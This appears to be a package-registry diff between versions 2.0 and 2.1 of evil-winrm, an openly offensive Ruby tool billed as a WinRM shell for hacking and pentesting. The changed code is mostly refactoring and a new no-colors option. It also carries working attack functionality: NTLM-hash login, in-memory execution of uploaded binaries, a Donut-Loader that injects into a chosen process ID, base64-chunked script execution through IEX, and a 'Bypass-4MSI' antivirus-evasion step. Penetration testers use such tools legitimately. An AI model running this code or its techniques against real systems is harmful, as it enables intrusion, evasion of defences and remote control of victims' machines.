evil-winrm 2.0 → 2.1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/lib/evil-winrm.rb +146 -133
  3. metadata +2 -16
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 32e4c0b2973c2c6f242ac87ad3744cd482583ff6b005805059cbec6ebe74ae28
4
- data.tar.gz: f80125520a8722864ad78745d9078fc9ef3624bb281ab483735b783b12d1e85c
3
+ metadata.gz: 7bda0429003e0d48d8305459a866f5f3a460fc1320af0cc3446081903e239dbf
4
+ data.tar.gz: 3746f299b2733317505df1bbb729da500edca1db5175b75392e9b7b5f7192db9
5
5
  SHA512:
6
- metadata.gz: 8c4511114adfd5e3be1b11d32f0ae937534173b46b35e62430c8d8158b0ae2caa1de99696da83287bd04e748d1fb108d0722feb3df08c888cc56c47d5e8bb216
7
- data.tar.gz: 3b18bb605f2713fa30acc658cd3a15fd2026c50c58525ee43eedb0834a1297c0812ae661cb480fa22f97fb78844891cdce11b780d0dd6f8d7a9e48ba5e065664
6
+ metadata.gz: 9734fc33c8e9bd6f06269492c9207a39be730525b081164a5a70730b2c0aff90eee72b31889ffea30d03988ebeef737de1ed18c4efd82c8557b7248d3c86f607
7
+ data.tar.gz: 40bb3349b464527a142ab82eabcb5b8f3e3a2132e784a1d4d39f528b522e56f6fcec2bd8169b67b3ca1dd4d3c6a7a2499cf06a4d7f1a2a480435dc1358e1aef4
@@ -8,7 +8,6 @@
8
8
  require 'winrm'
9
9
  require 'winrm-fs'
10
10
  require 'stringio'
11
- require 'colorize'
12
11
  require 'base64'
13
12
  require 'readline'
14
13
  require 'optionparser'
@@ -18,7 +17,7 @@ require 'time'
18
17
  # Constants
19
18
 
20
19
  # Version
21
- VERSION = '2.0'
20
+ VERSION = '2.1'
22
21
 
23
22
  # Msg types
24
23
  TYPE_INFO = 0
@@ -34,7 +33,7 @@ $LISTASSEM = [''].sort
34
33
  $DONUTPARAM1 = ['-process_id']
35
34
  $DONUTPARAM2 = ['-donutfile']
36
35
 
37
- # Colors. Set this to false to disable colors
36
+ # Colors
38
37
  $colors_enabled = true
39
38
 
40
39
  # Path for ps1 scripts and exec files
@@ -70,7 +69,7 @@ class EvilWinRM
70
69
  opts.on("-U", "--url URL", "Remote url endpoint (default /wsman)") { |val| options[:url] = val }
71
70
  opts.on("-u", "--user USER", "Username (required)") { |val| options[:user] = val }
72
71
  opts.on("-p", "--password PASS", "Password") { |val| options[:password] = val }
73
- opts.on("-H", "--hash HASH", "NTLM hash") do |val|
72
+ opts.on("-H", "--hash HASH", "NTHash") do |val|
74
73
  if !options[:password].nil? and !val.nil?
75
74
  self.print_header()
76
75
  self.print_message("You must choose either password or hash auth. Both at the same time are not allowed", TYPE_ERROR)
@@ -88,6 +87,9 @@ class EvilWinRM
88
87
  puts("v#{VERSION}")
89
88
  self.custom_exit(0, false)
90
89
  end
90
+ opts.on("-n", "--no-colors", "Disable colors") do |val|
91
+ $colors_enabled = false
92
+ end
91
93
  opts.on('-h', '--help', 'Display this help message') do
92
94
  self.print_header()
93
95
  puts(opts)
@@ -98,7 +100,7 @@ class EvilWinRM
98
100
 
99
101
  begin
100
102
  optparse.parse!
101
- if options[:realm].nil? then
103
+ if options[:realm].nil? and options[:priv_key].nil? and options[:pub_key].nil? then
102
104
  mandatory = [:ip, :user]
103
105
  else
104
106
  mandatory = [:ip]
@@ -115,7 +117,7 @@ class EvilWinRM
115
117
  custom_exit(1, false)
116
118
  end
117
119
 
118
- if options[:password].nil? and options[:realm].nil?
120
+ if options[:password].nil? and options[:realm].nil? and options[:priv_key].nil? and options[:pub_key].nil?
119
121
  options[:password] = STDIN.getpass(prompt='Enter Password: ')
120
122
  end
121
123
 
@@ -390,155 +392,166 @@ class EvilWinRM
390
392
  time = Time.now.to_i
391
393
  self.print_message("Establishing connection to remote endpoint", TYPE_INFO)
392
394
  $conn.shell(:powershell) do |shell|
393
- until command == "exit" do
394
-
395
- pwd = shell.run("(get-location).path").output.strip
396
- command = Readline.readline("*Evil-WinRM*".red + " PS ".yellow + pwd + "> ", true) # True for command history
397
-
398
- if command.start_with?('upload') then
399
- if self.docker_detection() then
400
- puts()
401
- self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING)
395
+ begin
396
+ until command == "exit" do
397
+ pwd = shell.run("(get-location).path").output.strip
398
+ if $colors_enabled then
399
+ command = Readline.readline(self.colorize("*Evil-WinRM*", "red") + self.colorize(" PS ", "yellow") + pwd + "> ", true)
400
+ else
401
+ command = Readline.readline("*Evil-WinRM* PS " + pwd + "> ", true)
402
402
  end
403
403
 
404
- upload_command = command.tokenize
405
- command = ""
406
-
407
- if upload_command[2].to_s.empty? then
408
- upload_command[2] = "#{pwd}\\#{upload_command[1].split('/')[-1]}"
409
- elsif not upload_command[2].index ':\\'
410
- upload_command[2] = "#{pwd}\\#{upload_command[2]}"
411
- end
412
- begin
413
- self.print_message("Uploading #{upload_command[1]} to #{upload_command[2]}", TYPE_INFO)
414
- file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes|
415
- if bytes_copied == total_bytes then
416
- self.print_message("#{bytes_copied} bytes of #{total_bytes} bytes copied", TYPE_DATA)
417
- self.print_message("Upload successful!", TYPE_INFO)
404
+ if command.start_with?('upload') then
405
+ if self.docker_detection() then
406
+ puts()
407
+ self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING)
418
408
  end
419
- end
420
- rescue
421
- self.print_message("Upload failed. Check filenames or paths", TYPE_ERROR)
422
- end
423
409
 
424
- elsif command.start_with?('download') then
425
- if self.docker_detection() then
426
- puts()
427
- self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING)
428
- end
410
+ upload_command = command.tokenize
411
+ command = ""
429
412
 
430
- download_command = command.tokenize
431
- command = ""
432
-
433
- if not download_command[1].index ':\\' then download_command[1] = "#{pwd}\\#{download_command[1]}" end
434
-
435
- if download_command[2].to_s.empty? then download_command[2] = download_command[1].split('\\')[-1] end
436
-
437
- begin
438
- self.print_message("Downloading #{download_command[1]} to #{download_command[2]}", TYPE_INFO)
439
- file_manager.download(download_command[1], download_command[2])
440
- self.print_message("Download successful!", TYPE_INFO)
441
- rescue
442
- self.print_message("Download failed. Check filenames or paths", TYPE_ERROR)
443
- end
413
+ if upload_command[2].to_s.empty? then
414
+ upload_command[2] = "#{pwd}\\#{upload_command[1].split('/')[-1]}"
415
+ elsif not upload_command[2].index ':\\'
416
+ upload_command[2] = "#{pwd}\\#{upload_command[2]}"
417
+ end
418
+ begin
419
+ self.print_message("Uploading #{upload_command[1]} to #{upload_command[2]}", TYPE_INFO)
420
+ file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes|
421
+ if bytes_copied == total_bytes then
422
+ self.print_message("#{bytes_copied} bytes of #{total_bytes} bytes copied", TYPE_DATA)
423
+ self.print_message("Upload successful!", TYPE_INFO)
424
+ end
425
+ end
426
+ rescue
427
+ self.print_message("Upload failed. Check filenames or paths", TYPE_ERROR)
428
+ end
429
+ elsif command.start_with?('download') then
430
+ if self.docker_detection() then
431
+ puts()
432
+ self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING)
433
+ end
444
434
 
445
- elsif command.start_with?('Invoke-Binary') then
446
- begin
447
- invoke_Binary = command.tokenize
435
+ download_command = command.tokenize
448
436
  command = ""
449
- if !invoke_Binary[1].to_s.empty? then
450
- load_executable = invoke_Binary[1]
451
- load_executable = File.binread(load_executable)
452
- load_executable = Base64.strict_encode64(load_executable)
453
- if !invoke_Binary[4].to_s.empty? && invoke_Binary[5].to_s.empty?
454
- output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2] + "," + invoke_Binary[3] + "," + invoke_Binary[4])
455
- elsif !invoke_Binary[3].to_s.empty? && invoke_Binary[4].to_s.empty?
456
- output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2] + "," + invoke_Binary[3])
457
- elsif !invoke_Binary[2].to_s.empty? && invoke_Binary[3].to_s.empty?
458
- output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2])
459
- elsif invoke_Binary[2].to_s.empty?
460
- output = shell.run("Invoke-Binary " + load_executable)
437
+
438
+ if not download_command[1].index ':\\' then download_command[1] = "#{pwd}\\#{download_command[1]}" end
439
+
440
+ if download_command[2].to_s.empty? then download_command[2] = download_command[1].split('\\')[-1] end
441
+
442
+ begin
443
+ self.print_message("Downloading #{download_command[1]} to #{download_command[2]}", TYPE_INFO)
444
+ file_manager.download(download_command[1], download_command[2])
445
+ self.print_message("Download successful!", TYPE_INFO)
446
+ rescue
447
+ self.print_message("Download failed. Check filenames or paths", TYPE_ERROR)
448
+ end
449
+
450
+ elsif command.start_with?('Invoke-Binary') then
451
+ begin
452
+ invoke_Binary = command.tokenize
453
+ command = ""
454
+ if !invoke_Binary[1].to_s.empty? then
455
+ load_executable = invoke_Binary[1]
456
+ load_executable = File.binread(load_executable)
457
+ load_executable = Base64.strict_encode64(load_executable)
458
+ if !invoke_Binary[4].to_s.empty? && invoke_Binary[5].to_s.empty?
459
+ output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2] + "," + invoke_Binary[3] + "," + invoke_Binary[4])
460
+ elsif !invoke_Binary[3].to_s.empty? && invoke_Binary[4].to_s.empty?
461
+ output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2] + "," + invoke_Binary[3])
462
+ elsif !invoke_Binary[2].to_s.empty? && invoke_Binary[3].to_s.empty?
463
+ output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2])
464
+ elsif invoke_Binary[2].to_s.empty?
465
+ output = shell.run("Invoke-Binary " + load_executable)
466
+ end
467
+ elsif
468
+ output = shell.run("Invoke-Binary")
461
469
  end
462
- elsif
463
- output = shell.run("Invoke-Binary")
470
+ print(output.output)
471
+ rescue
472
+ self.print_message("Check filenames", TYPE_ERROR)
464
473
  end
465
- print(output.output)
466
- rescue
467
- self.print_message("Check filenames", TYPE_ERROR)
468
- end
469
474
 
470
- elsif command.start_with?('Donut-Loader') then
471
- begin
472
- donut_Loader = command.tokenize
473
- command = ""
474
- if !donut_Loader[4].to_s.empty? then
475
- pid = donut_Loader[2]
476
- load_executable = donut_Loader[4]
477
- load_executable = File.binread(load_executable)
478
- load_executable = Base64.strict_encode64(load_executable)
479
- output = shell.run("Donut-Loader -process_id #{pid} -donutfile #{load_executable}")
480
- elsif
481
- output = shell.run("Donut-Loader")
475
+ elsif command.start_with?('Donut-Loader') then
476
+ begin
477
+ donut_Loader = command.tokenize
478
+ command = ""
479
+ if !donut_Loader[4].to_s.empty? then
480
+ pid = donut_Loader[2]
481
+ load_executable = donut_Loader[4]
482
+ load_executable = File.binread(load_executable)
483
+ load_executable = Base64.strict_encode64(load_executable)
484
+ output = shell.run("Donut-Loader -process_id #{pid} -donutfile #{load_executable}")
485
+ elsif
486
+ output = shell.run("Donut-Loader")
487
+ end
488
+ print(output.output)
489
+ rescue
490
+ self.print_message("Check filenames", TYPE_ERROR)
482
491
  end
483
- print(output.output)
484
- rescue
485
- self.print_message("Check filenames", TYPE_ERROR)
486
- end
487
492
 
488
- elsif command.start_with?('services') then
489
- command = ""
490
- output = shell.run('Get-ItemProperty "registry::HKLM\System\CurrentControlSet\Services\*" | Where-Object {$_.imagepath -notmatch "system" -and $_.imagepath -ne $null } | Select-Object pschildname,imagepath | fl')
491
- print(output.output.chomp)
493
+ elsif command.start_with?('services') then
494
+ command = ""
495
+ output = shell.run('Get-ItemProperty "registry::HKLM\System\CurrentControlSet\Services\*" | Where-Object {$_.imagepath -notmatch "system" -and $_.imagepath -ne $null } | Select-Object pschildname,imagepath | fl')
496
+ print(output.output.chomp)
497
+
498
+ elsif command.start_with?(*functions) then
499
+ self.silent_warnings do
500
+ load_script = $scripts_path + command
501
+ command = ""
502
+ load_script = load_script.gsub(" ","")
503
+ load_script = File.binread(load_script)
504
+ load_script = Base64.strict_encode64(load_script)
505
+ script_split = load_script.scan(/.{1,5000}/)
506
+ script_split.each do |item|
507
+ output = shell.run("$a += '#{item}'")
508
+ end
509
+ output = shell.run("IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($a))).replace('???','')")
510
+ output = shell.run("$a = $null")
511
+ end
492
512
 
493
- elsif command.start_with?(*functions) then
494
- self.silent_warnings do
495
- load_script = $scripts_path + command
513
+ elsif command.start_with?('menu') then
496
514
  command = ""
497
- load_script = load_script.gsub(" ","")
498
- load_script = File.binread(load_script)
499
- load_script = Base64.strict_encode64(load_script)
500
- script_split = load_script.scan(/.{1,5000}/)
501
- script_split.each do |item|
502
- output = shell.run("$a += '#{item}'")
515
+ self.silent_warnings do
516
+ output = shell.run(menu)
517
+ output = shell.run("Menu")
518
+ autocomplete = shell.run("auto").output.chomp
519
+ autocomplete = autocomplete.gsub!(/\r\n?/, "\n")
520
+ assemblyautocomplete = shell.run("show-methods-loaded").output.chomp
521
+ assemblyautocomplete = assemblyautocomplete.gsub!(/\r\n?/, "\n")
522
+ if !assemblyautocomplete.to_s.empty?
523
+ $LISTASSEMNOW = assemblyautocomplete.split("\n")
524
+ $LISTASSEM = $LISTASSEM + $LISTASSEMNOW
525
+ end
526
+ $LIST2 = autocomplete.split("\n")
527
+ $LIST = $LIST + $LIST2
528
+ print(output.output)
503
529
  end
504
- output = shell.run("IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($a))).replace('???','')")
505
- output = shell.run("$a = $null")
530
+
531
+ elsif (command == "Bypass-4MSI") and (Time.now.to_i < time + 20)
532
+ puts()
533
+ self.print_message("AV could be still watching for suspicious activity. Waiting for patching...", TYPE_WARNING)
534
+ sleep(9)
506
535
  end
507
536
 
508
- elsif command.start_with?('menu') then
509
- command = ""
510
- self.silent_warnings do
511
- output = shell.run(menu)
512
- output = shell.run("Menu")
513
- autocomplete = shell.run("auto").output.chomp
514
- autocomplete = autocomplete.gsub!(/\r\n?/, "\n")
515
- assemblyautocomplete = shell.run("show-methods-loaded").output.chomp
516
- assemblyautocomplete = assemblyautocomplete.gsub!(/\r\n?/, "\n")
517
- if !assemblyautocomplete.to_s.empty?
518
- $LISTASSEMNOW = assemblyautocomplete.split("\n")
519
- $LISTASSEM = $LISTASSEM + $LISTASSEMNOW
537
+ output = shell.run(command) do |stdout, stderr|
538
+ stdout&.each_line do |line|
539
+ STDOUT.puts(line.rstrip!)
520
540
  end
521
- $LIST2 = autocomplete.split("\n")
522
- $LIST = $LIST + $LIST2
523
- print(output.output)
541
+ STDERR.print(stderr)
524
542
  end
525
-
526
- elsif (command == "Bypass-4MSI") and (Time.now.to_i < time + 20)
527
- puts()
528
- self.print_message("AV could be still watching for suspicious activity. Waiting for patching...", TYPE_WARNING)
529
- sleep(9)
530
543
  end
531
-
532
- output = shell.run(command) do |stdout, stderr|
533
- STDOUT.print(stdout)
534
- STDERR.print(stderr)
544
+ rescue Interrupt
545
+ puts("\n\n")
546
+ self.print_message("Press \"y\" to exit, press any other key to continue", TYPE_WARNING)
547
+ if STDIN.getch.downcase == "y" or STDIN.getch.downcase == "Y"
548
+ self.custom_exit(130)
549
+ else
550
+ retry
535
551
  end
536
552
  end
537
-
538
- self.custom_exit(0)
539
- end
540
- rescue SignalException
541
- self.custom_exit(130)
553
+ self.custom_exit(0)
554
+ end
542
555
  rescue SystemExit
543
556
  rescue SocketError
544
557
  self.print_message("Check your /etc/hosts file to ensure you can resolve #{$host}", TYPE_ERROR)
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: evil-winrm
3
3
  version: !ruby/object:Gem::Version
4
- version: '2.0'
4
+ version: '2.1'
5
5
  platform: ruby
6
6
  authors:
7
7
  - CyberVaca
@@ -11,7 +11,7 @@ authors:
11
11
  autorequire:
12
12
  bindir: bin
13
13
  cert_chain: []
14
- date: 2019-11-17 00:00:00.000000000 Z
14
+ date: 2020-01-14 00:00:00.000000000 Z
15
15
  dependencies:
16
16
  - !ruby/object:Gem::Dependency
17
17
  name: winrm
@@ -55,20 +55,6 @@ dependencies:
55
55
  - - ">="
56
56
  - !ruby/object:Gem::Version
57
57
  version: 0.0.2
58
- - !ruby/object:Gem::Dependency
59
- name: colorize
60
- requirement: !ruby/object:Gem::Requirement
61
- requirements:
62
- - - ">="
63
- - !ruby/object:Gem::Version
64
- version: 0.8.1
65
- type: :runtime
66
- prerelease: false
67
- version_requirements: !ruby/object:Gem::Requirement
68
- requirements:
69
- - - ">="
70
- - !ruby/object:Gem::Version
71
- version: 0.8.1
72
58
  description: The ultimate WinRM shell for hacking/pentesting
73
59
  email: oscar.alfonso.diaz@gmail.com
74
60
  executables: